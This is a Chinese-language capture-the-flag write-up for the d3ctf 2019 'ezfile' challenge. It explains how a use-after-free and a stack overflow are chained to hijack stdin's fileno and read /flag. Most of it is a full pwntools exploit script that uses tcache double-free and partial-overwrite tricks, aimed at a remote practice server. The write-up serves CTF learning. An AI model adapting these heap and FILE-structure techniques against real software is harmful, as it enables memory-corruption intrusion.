d3ctf_2019_ezfile(文件流fileno的巧妙利用)
首先,檢查一下程序的保護機制
然後,我們用IDA分析一下,delete功能存在UAF
程序裏使用的是write輸出,因此劫持IO_2_1_stdout泄露不了數據。
Add功能的size固定
Encrypt功能存在棧溢出
程序一開頭有一個這個
我們可以利用堆漏洞劫持IO_2_1_stdin,將裏面的fileno改爲3,然後利用encrypt功能裏的棧溢出,採用低字節覆蓋法,將返回地址覆蓋到此處
而rdi指向我們輸出的字符串,因此rdi可控
這樣,通過棧溢出返回到open處,便可以打開我們想要的文件。又由於_IO_2_1_stdin的fileno被劫持爲3,那麼scanf救會從這個打開的文件裏讀取數據到name裏,然後後面輸出。
#coding:utf8
from pwn import *
def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('size of your note >>',str(size))
sh.sendafter('input your content >>',content)
def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('input the index to delete >>',str(index))
def encnote(index,size,seed):
sh.sendlineafter('>>','3')
sh.sendlineafter('input the index to encrypt >>',str(index))
sh.sendlineafter('input the size of the seed (max 0x50) >>',str(size))
sh.sendafter('input the crypt seed >>',seed)
def exploit():
#0~5
for i in range(6):
add(0x10,'a'*0x10)
delete(1)
#double free
delete(0)
delete(0)
add(0x1,'\x60')
add(0x10,'a'*0x10)
#修改chunk0的size
add(0x9,p64(0) + p8(0xA1))
#填滿tcache bin
for i in range(7):
delete(0)
#得到unsorted bin
delete(0)
#低字節覆蓋,有一定機率到_IO_2_1_stdin_的fileno處
add(0x2,'\x70\xFA')
#再來一次double free
delete(2)
delete(2)
add(0x1,'\x70')
add(0x1,'a')
add(0x1,'a')
#申請到stdin的fileno處,改寫fileno爲3
add(0x1,p8(3))
encnote(0,0x6A,'/flag'.ljust(0x68,'\x00') + p16(0x5147))
sh.recvuntil('welcome!')
flag = sh.recvuntil('\n')
print 'flag=',flag
while True:
try:
global sh
#sh = process('./d3ctf_2019_ezfile')
sh = remote('node3.buuoj.cn',29967)
sh.sendlineafter('your name:','haivk')
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'